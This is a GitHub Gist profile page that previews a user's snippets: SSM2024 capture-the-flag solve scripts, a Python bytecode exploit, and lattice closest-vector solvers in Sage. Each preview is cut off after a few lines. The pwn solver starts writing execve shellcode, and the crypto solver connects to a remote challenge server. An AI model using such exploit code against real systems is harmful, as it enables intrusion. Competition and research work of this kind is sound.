Skip to content

Instantly share code, notes, and snippets.

View TheBlupper's full-sized avatar

TheBlupper

View GitHub Profile
@TheBlupper
TheBlupper / solve_antivirus.py
Created March 9, 2024 20:07
SSM2024 kval pwn
import os
import requests
open('sploit.S', 'w').write('''
global _start
section .text
_start:
mov rax, 59 ; execve
mov rdi, fn
@TheBlupper
TheBlupper / solve_blacksmith.py
Last active March 10, 2024 20:22
SSM2024 kval crypto (Really Secure Autput, md10, BlackSmith och rsAI)
from Crypto.Util.number import *
from pwn import *
import string
import random
io = remote('46.246.39.165', 50000)
io.recvuntil(b'card: ')
e, N = eval(io.recvuntil(b'. ', drop=True))
@TheBlupper
TheBlupper / exploit.py
Created March 11, 2024 09:20
python bytecode exploit
import subprocess
import opcode
# This may need to be adjusted but should always
# be reachable
EXEC_OFF = 29
'''
chall.py:
import threading
from sage.all import *
from ortools.sat.python import cp_model as ort
from queue import Queue
def babai_coords(M, tgt):
'''
Returns both the (approximate) closest vector
to tgt and its coordinates in the lattice M
@TheBlupper
TheBlupper / cvp.py
Last active June 6, 2024 09:10
Approximate closest vector solver. Despite running the whole of LLL it's way faster than the common Gram-Schmidt version since Sage rationals are so slow...
def cvp_coords(B, t, reduce=True):
'''
Returns both the (approximate) closest vector
to t and its coordinates in the lattice B
'''
t = vector(ZZ, t)
if reduce: B, R = B.LLL(transformation=True)
else: R = identity_matrix(ZZ, B.nrows())